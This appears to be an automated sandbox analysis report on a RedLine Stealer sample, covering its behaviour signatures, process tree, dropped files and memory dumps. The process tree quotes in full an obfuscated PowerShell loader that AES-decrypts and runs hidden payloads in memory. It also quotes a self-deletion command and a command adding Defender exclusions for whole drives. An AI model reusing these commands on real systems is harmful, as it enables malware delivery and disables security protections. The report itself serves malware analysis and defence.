Analysis

  • max time kernel
    81s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/01/2023, 02:25

General

  • Target
    46659078a8e155236eb59dce5f42baff.exe
  • Size 349KB
  • Sample230128-cv98hsfc4t
  • SHA256 dc6226d88472e78b79c967c3d151400f1b6e69d7618efd430b64d35b2e20df2e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\46659078a8e155236eb59dce5f42baff.exe
    "C:\Users\Admin\AppData\Local\Temp\46659078a8e155236eb59dce5f42baff.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "temp.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4668
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -c #
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1140
      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\temp.bat.exe
        "temp.bat.exe" function PF($q){$q.Replace('@', '')}$Xuve=PF 'En@tr@yP@oin@t@';$BawT=PF 'T@ra@nsf@or@m@F@in@alB@lo@ck@';$BzyB=PF 'GetC@ur@re@ntPr@oces@s@';$XSQd=PF 'Ch@an@ge@Ex@te@n@sio@n@';$IEFm=PF 'Spli@t@';$XxBL=PF 'Rea@dA@llTe@x@t@';$YUTd=PF 'Fro@mBa@s@e64@St@rin@g@';$Texk=PF 'Loa@d@';$hESV=PF 'In@voke@';$hUeT=PF 'Cr@ea@t@e@D@ecr@yp@to@r@';function INsRB($LPwZp,$LbFhM,$hbFTT){$OYRtI=[System.Security.Cryptography.Aes]::Create();$OYRtI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYRtI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYRtI.Key=[System.Convert]::$YUTd($LbFhM);$OYRtI.IV=[System.Convert]::$YUTd($hbFTT);$WMUCJ=$OYRtI.$hUeT();$ehtei=$WMUCJ.$BawT($LPwZp,0,$LPwZp.Length);$WMUCJ.Dispose();$OYRtI.Dispose();$ehtei;}function wigji($LPwZp){$fcdSe=New-Object System.IO.MemoryStream(,$LPwZp);$RwoHG=New-Object System.IO.MemoryStream;$BROtB=New-Object System.IO.Compression.GZipStream($fcdSe,[IO.Compression.CompressionMode]::Decompress);$BROtB.CopyTo($RwoHG);$BROtB.Dispose();$fcdSe.Dispose();$RwoHG.Dispose();$RwoHG.ToArray();}function VsVBI($LPwZp,$LbFhM){[System.Reflection.Assembly]::$Texk([byte[]]$LPwZp).$Xuve.$hESV($null,$LbFhM);}$IpEqm=[System.IO.File]::$XxBL([System.IO.Path]::$XSQd([System.Diagnostics.Process]::$BzyB().MainModule.FileName, $null)).$IEFm([Environment]::NewLine);$FGZBp=$IpEqm[$IpEqm.Length-1].Substring(2);$mDpEK=[string[]]$FGZBp.$IEFm('\');$Ghkeu=wigji (INsRB ([Convert]::$YUTd($mDpEK[0])) $mDpEK[2] $mDpEK[3]);$vDmqe=wigji (INsRB ([Convert]::$YUTd($mDpEK[1])) $mDpEK[2] $mDpEK[3]);VsVBI $vDmqe $null;VsVBI $Ghkeu $null;
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Adds Run key to start application
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(1328);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4324
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1440
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:176
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3244
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -w hidden -c #
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1636
            • C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe
              "C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe" function PF($q){$q.Replace('@', '')}$Xuve=PF 'En@tr@yP@oin@t@';$BawT=PF 'T@ra@nsf@or@m@F@in@alB@lo@ck@';$BzyB=PF 'GetC@ur@re@ntPr@oces@s@';$XSQd=PF 'Ch@an@ge@Ex@te@n@sio@n@';$IEFm=PF 'Spli@t@';$XxBL=PF 'Rea@dA@llTe@x@t@';$YUTd=PF 'Fro@mBa@s@e64@St@rin@g@';$Texk=PF 'Loa@d@';$hESV=PF 'In@voke@';$hUeT=PF 'Cr@ea@t@e@D@ecr@yp@to@r@';function INsRB($LPwZp,$LbFhM,$hbFTT){$OYRtI=[System.Security.Cryptography.Aes]::Create();$OYRtI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYRtI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYRtI.Key=[System.Convert]::$YUTd($LbFhM);$OYRtI.IV=[System.Convert]::$YUTd($hbFTT);$WMUCJ=$OYRtI.$hUeT();$ehtei=$WMUCJ.$BawT($LPwZp,0,$LPwZp.Length);$WMUCJ.Dispose();$OYRtI.Dispose();$ehtei;}function wigji($LPwZp){$fcdSe=New-Object System.IO.MemoryStream(,$LPwZp);$RwoHG=New-Object System.IO.MemoryStream;$BROtB=New-Object System.IO.Compression.GZipStream($fcdSe,[IO.Compression.CompressionMode]::Decompress);$BROtB.CopyTo($RwoHG);$BROtB.Dispose();$fcdSe.Dispose();$RwoHG.Dispose();$RwoHG.ToArray();}function VsVBI($LPwZp,$LbFhM){[System.Reflection.Assembly]::$Texk([byte[]]$LPwZp).$Xuve.$hESV($null,$LbFhM);}$IpEqm=[System.IO.File]::$XxBL([System.IO.Path]::$XSQd([System.Diagnostics.Process]::$BzyB().MainModule.FileName, $null)).$IEFm([Environment]::NewLine);$FGZBp=$IpEqm[$IpEqm.Length-1].Substring(2);$mDpEK=[string[]]$FGZBp.$IEFm('\');$Ghkeu=wigji (INsRB ([Convert]::$YUTd($mDpEK[0])) $mDpEK[2] $mDpEK[3]);$vDmqe=wigji (INsRB ([Convert]::$YUTd($mDpEK[1])) $mDpEK[2] $mDpEK[3]);VsVBI $vDmqe $null;VsVBI $Ghkeu $null;
              6⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5084
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(5084);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2204
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:944

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 10KB
        • SHA256 3fc793673038a32ca1470827d8c95e0d47b469a61f5084b1acfefd903e70b38d
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 f6478dd1bb42bf970a5c7fcde20bfe6b1c4ec31137af8cd557b30d02350866b7
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 10KB
        • SHA256 791767fd140af359014f64823b70c47f87f4bfd313a6870b09a920cb03aa114c
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 bca097d89736752d2bf79c0f2c48013febc8b2caf6321edd5d8d568ba0fea4e9
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 bca097d89736752d2bf79c0f2c48013febc8b2caf6321edd5d8d568ba0fea4e9
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 528B
        • SHA256 28500b836891d589588df97f9512a7732b85bf1f6ce8997ba05cc8d5db2ccb11
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 16KB
        • SHA256 71e2d45a48e35b7ad18600fa8b6c3aed11d27df0735d3c1318ad8c88912494db
        • MD5 SHA1 SHA512 SSDEEP

        temp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\temp.bat
        • Size 271KB
        • SHA256 b728c3ea0f27d29b739864ec87fe74c4a619fc504fc18d180c4c1f35855c30d5
        • MD5 SHA1 SHA512 SSDEEP

        temp.bat.exe

        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\temp.bat.exe
        • Size 423KB
        • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
        • MD5 SHA1 SHA512 SSDEEP

        temp.bat.exe

        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\temp.bat.exe
        • Size 423KB
        • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
        • MD5 SHA1 SHA512 SSDEEP

        pFwTEuBIgf.bat

        • Path C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat
        • Size 271KB
        • SHA256 b728c3ea0f27d29b739864ec87fe74c4a619fc504fc18d180c4c1f35855c30d5
        • MD5 SHA1 SHA512 SSDEEP

        pFwTEuBIgf.bat.exe

        • Path C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe
        • Size 423KB
        • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
        • MD5 SHA1 SHA512 SSDEEP

        pFwTEuBIgf.bat.exe

        • Path C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.bat.exe
        • Size 423KB
        • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
        • MD5 SHA1 SHA512 SSDEEP

        pFwTEuBIgf.vbs

        • Path C:\Users\Admin\AppData\Roaming\pFwTEuBIgf.vbs
        • Size 160B
        • SHA256 0c60ce62eddb403df9c5411adeb123fc494143f0492c0341084599987cbfba30
        • MD5 SHA1 SHA512

        memory/944-188-0x0000000070210000-0x000000007025C000-memory.dmp

        memory/1140-136-0x0000000005AA0000-0x00000000060C8000-memory.dmp

        memory/1140-137-0x0000000005920000-0x0000000005942000-memory.dmp

        memory/1140-139-0x00000000061B0000-0x0000000006216000-memory.dmp

        memory/1140-140-0x0000000006850000-0x000000000686E000-memory.dmp

        memory/1140-138-0x0000000006140000-0x00000000061A6000-memory.dmp

        memory/1140-135-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

        memory/1328-147-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/1328-155-0x00000000773A0000-0x0000000077490000-memory.dmp

        memory/1328-146-0x0000000006E50000-0x0000000006E6A000-memory.dmp

        memory/1328-145-0x0000000009290000-0x000000000990A000-memory.dmp

        memory/1328-154-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/1328-168-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/1328-169-0x00000000773A0000-0x0000000077490000-memory.dmp

        memory/1440-162-0x0000000006CF0000-0x0000000006D0E000-memory.dmp

        memory/1440-160-0x0000000007720000-0x0000000007752000-memory.dmp

        memory/1440-163-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

        memory/1440-161-0x0000000070210000-0x000000007025C000-memory.dmp

        memory/1440-166-0x0000000007DA0000-0x0000000007E36000-memory.dmp

        memory/1440-172-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

        memory/1440-173-0x0000000007D00000-0x0000000007D1A000-memory.dmp

        memory/1440-176-0x0000000007CE0000-0x0000000007CE8000-memory.dmp

        memory/4324-171-0x00000000077F0000-0x0000000007D94000-memory.dmp

        memory/4324-170-0x0000000007090000-0x00000000070B2000-memory.dmp

        memory/5084-184-0x0000000008B90000-0x0000000008BCC000-memory.dmp

        memory/5084-192-0x000000000A0C0000-0x000000000A136000-memory.dmp

        memory/5084-182-0x0000000009A00000-0x000000000A018000-memory.dmp

        memory/5084-181-0x00000000773A0000-0x0000000077490000-memory.dmp

        memory/5084-187-0x00000000093E0000-0x00000000094EA000-memory.dmp

        memory/5084-180-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/5084-189-0x0000000009830000-0x00000000099F2000-memory.dmp

        memory/5084-190-0x000000000A550000-0x000000000AA7C000-memory.dmp

        memory/5084-191-0x000000000A020000-0x000000000A0B2000-memory.dmp

        memory/5084-183-0x0000000008B30000-0x0000000008B42000-memory.dmp

        memory/5084-193-0x000000000A190000-0x000000000A1AE000-memory.dmp

        memory/5084-194-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/5084-195-0x00000000773A0000-0x0000000077490000-memory.dmp

        memory/5084-174-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/5084-197-0x00000000774A0000-0x0000000077643000-memory.dmp

        memory/5084-198-0x00000000773A0000-0x0000000077490000-memory.dmp